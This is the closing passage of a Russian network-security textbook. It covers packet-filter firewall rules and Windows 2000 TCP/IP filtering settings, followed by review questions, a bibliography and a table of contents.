шить D Вход Внешний Внутрен-

ний TCP >1023 Разре-шить

E Любое Любой Любой Любой Любой Отбро-сить

Таблицы фильтрующих правил приведены в данном разделе в

качестве примера и, естественно, не являются полными. Так, во вто-ром примере, несмотря на кажущуюся логическую простоту, приве-денные правила имеют несколько погрешностей. В частности, зло-умышленник может выполнить соединение с компьютерами внут-ренней сети через соответствующий экран, если он отключит SMTP-сервер на своей машине и будет использовать ее порт 25 для органи-зации атаки.

Действительные наборы правил значительно сложнее и иногда включают десятки и даже сотни правил. Более того, считается, что правильно сформулировать правила фильтрации – это в определен-ной мере искусство [17].


121

7.3. Реализация простейшего пакетного фильтра средствами ОС Windows 2000

ОС Windows 2000 содержит простые встроенные средства руч-ной настройки пакетных фильтров TCP/IP, использование которых позволяет создавать простейшие персональные экраны. Для настрой-ки правил фильтрации необходимо открыть окно «Подключение по локальной сети - свойства», затем последовательно произвести вы-бор:

Протокол Интернета (TCP/IP) -> Свойства -> Дополнительно -> Параметры -> Фильтрация TCP/IP -> Свойства.

Рис. 7.2

Открывшееся окно «Фильтрация TCP/IP» (рис. 7.2) позволяет за-дать список номеров разрешаемых IP-протоколов и TCP/UDP-портов. Для включения фильтрации необходимо поставить галочку «Задей-ствовать фильтрацию TCP/IP (все адаптеры)». Для каждой группы настроек (TCP-порты,UDP-порты и IP-протоколы) можно разрешить все или определить список номеров разрешаемых портов и протоко-лов.


122

После подтверждения настроек и последующей перезагрузки в составе системы начинает функционировать простейший персональ-ный брандмауэр. Следует заметить, что данное средство имеет огра-ниченные возможности и не позволяет создавать сложные правила фильтрации. Основой для реализации более сложных пакетных фильтров может служить использование соответствующих про-граммных продуктов, представленных на современном рынке бранд-мауэров, характеризующимся их большим разнообразием и доступ-ностью [2,16].

Характеризуя в целом эффективность применения пакетных фильтров в системах защиты, следует отметить, что уязвимость этих систем очень сильно зависит от полноты и корректности используе-мых правил фильтрации, что не позволяет им противостоять многим атакам, в частности, простейшей атаке типа подмены IP-адреса. По-этому для увеличения надежности систем защиты пакетные фильтры необходимо применять в сочетании с другими видами экранирова-ния и иными средствами защиты (например, безопасными протоко-лами). Так, если при реализации брандмауэра организовать поддерж-ку протокола IPSec, то это обеспечит надежную защиту всему пото-ку данных, идущему через границу локальной сети. При этом средства обработки потока данных внутри локальной сети не пере-гружаются лишними операциями, связанными с защитой.

Вопросы к разделу 7 1. Как изменится рис. 7.1, если примененным «правилом по

умолчанию» станет «разрешено все, что не запрещено»? 2. Поясните использование термина «политика безопасности»

применительно к межсетевым экранам. 3. Может ли брандмауэр выполнить фильтрацию по содержи-

мому IPSec-пакетов? 4. Составьте правила и таблицу фильтрации для брандмауэра,

изолирующего определенный компьютер локальной сети от всех внутренних и внешних компьютеров и сервисов, кроме Web-сервисов по порту 80.


123

ЛИТЕРАТУРА 1. Барсков А.Г. VPN – старые принципы, новые технологии // Сети

и системы связи. 2004. № 6. 2. Зима В.М., Молдовян А.А., Молдовян Н.А. Безопасность гло-

бальных сетевых технологий.– СПб: БХВ-Петербург, 2003. 368с. 3. Курчидис В.А.,Воронина Т.В., Герасимов К.О., Лунев М.Ю.

Программирование взаимодействий между Windows-приложениями в Delphi: Учебное пособие. Ярославль, 2001. 104 с.

4. Курчидис В.А.,Воронина Т.В., Зафиевский А.В. Средства струк-турной организации компьютерных сетей: Учебное пособие. Ярославль, 2001. 107 с.

5. Курчидис В.А., Назанский А.С., Воронина Т.В. Методы и сред-ства сетевых и телекоммуникационных технологий: Учебное по-собие. Ярославль, 2000. 112 с.

6. Курчидис В.А., Лунев М.Ю., Назанский А.С., Рыльков С.А. Ор-ганизация Web-взаимодействий в сервис-ориентированных при-кладных системах: Учебное пособие. Ярославль, 2002. 98 с.

7. Мамаев М., Петренко С. Технологии защиты информации в Ин-тернете. Специальный справочник. СПб.: Питер, 2002. 848 с.

8. Олифер В. Г., Олифер Н.А. Сетевые операционные системы. СПб.: Издательство Питер, 2001. 544 с.

9. Снейдер Й. Эффективное программирование TCP/IP. Библиотека программиста. СПб.: Питер, 2002. 320с.

10. Поддержка протокола безопасности IP в Microsoft® Windows® 2000 Server. Информационные материалы // Microsoft. 2001.

11. Романец Ю.В., Тимофеев П.А., Шаньгин В.Ф. Защита информа-ции в компьютерных системах и сетях. М.: Радио и связь, 1999. 328 с.

12. Соколов А.В., Шаньгин В.Ф. Защита информации в распреде-ленных корпоративных сетях и системах. М.: ДМК Пресс, 2002. 656 с.

13. Столлингс В. Криптография и защита сетей: принципы и прак-тика: Пер. с англ. М.: Издательский дом Вильямс, 2001. 672 с.

14. Столлингс В. Основы защиты сетей. Приложения и стандарты: Пер. с англ. М.: Издательский дом Вильямс, 2002. 432 с.

15. Таненбаум Э. Компьютерные сети. 4-е издание. СПб.: Питер, 2003. 992 с.


124

16. Терри Оглтри. Firewalls. Практическое применение межсетевых экранов: Пер. с англ. М.: ДМК Пресс, 2001. 400 с.

17. Цвики Э., Купер С., Чапмен Б. Создание защиты в Интернете: Пер. с англ. СПб.: Символ – Плюс, 2002. 928 с.

18. Installing IPSec on W2K. – http://ers.pp.ru/ipsec/w2k. 19. iXBT IPSec - протокол защиты сетевого трафика на IP-уровне. –

http:// www.ixbt.ru.


http://ers.pp.ru/ipsec/w2k�

125

СОДЕРЖАНИЕ

ВВЕДЕНИЕ……………………………………………………........ 1. МНОГОУРОВНЕВЫЕ ПРОТОКОЛЫ СЕТЕВОГО ВЗАИМОДЕЙСТ-

ВИЯ И УГРОЗЫ ИНФОРМАЦИОННЫХ

АТАК…………………………………………………………… 1.1. Многоуровневые протоколы – основа сетевых взаи-

модействий………………………………………....... 1.2. Протокольное взаимодействие в сетях…………………. 1.3. Классификация атак на сетевые сообщения……………

Вопросы к разделу 1………………………………………. 2. МЕТОДЫ И СРЕДСТВА ЗАЩИТЫ ОТ АТАК НА СЕТЕВЫЕ СО-

ОБЩЕНИЯ................................................................................... 2.1. Использование средств шифрования в сетях………..... 2.2. Методы аутентификации сообщений………………....... 2.3. Использование безопасных протоколов……………….. 2.4. Экранирование межсетевых взаимодействий………….

Вопросы к разделу 2…………………………………….. 3. ПАССИВНЫЕ АТАКИ В СЕТЯХ TCP/IP

3.1. Прослушивание (сканирование) портов……………...... 3.2. Прослушивание IP-трафика…………………………......

Вопросы к разделу 3…………………………………….. 4. АКТИВНЫЕ АТАКИ В СЕТЯХ TCP/IP………………...................

4.1. Подмена адреса источника……………………………… 4.2. Отказ в обслуживании…………………………………... 4.3. Программная реализация атаки типа SYN flood………

Вопросы к разделу 4…………………………………….. 5. СРЕДСТВА ПРОТОКОЛА IPSEC ДЛЯ ОРГАНИЗАЦИИ ЗАЩИ-

ЩЕННЫХ ВЗАИМОДЕЙСТВИЙ............................................ 5.1. Архитектура протокола IPSec…………………………... 5.2. Общая схема взаимодействия по протоколу IPSec…… 5.3. Конфигурирование средств протокола IPSec в ОС Win-

3

5

5 6 8

11

12 12 17 21 26 31 32 32 42 52 53 53 56 59 67

68 68 73


126

dows 2000………………………………………………. Вопросы к разделу 5……………………………………..

6. ИСПОЛЬЗОВАНИЕ СРЕДСТВ ПРОТОКОЛА SSL ДЛЯ ЗАЩИТЫ СЕТЕВЫХ ВЗАИМОДЕЙСТВИЙ…………………………….

6.1. Архитектура и средства протокола SSL……………….. 6.2. Использование SSL во взаимодействиях

с Web-сервером Microsoft IIS…………………………… 6.3. Разработка независимогоSSL-приложения………………

Вопросы к разделу 6…………………………………….. 7. МЕЖСЕТЕВЫЕ ЭКРАНЫ НА ОСНОВЕ ПАКЕТНОЙ

ФИЛЬТРАЦИИ……………………………………………………………….

7.1. Принципы функционирования пакетных фильт-ров……...

7.2. Пакетная фильтрация по адресам и сервисам………… 7.3. Реализация простейшего пакетного фильтра

средствами OC Windows 2000……………………………. Вопросы к разделу 7……………………………………….

ЛИТЕРАТУРА....................................................................................

75 79

80 80

84 91

102

103 103 105

107 109

110


Documents

445.организация защищенных взаимодействии в сетях на основе многоуровневых протоколов учебное пособие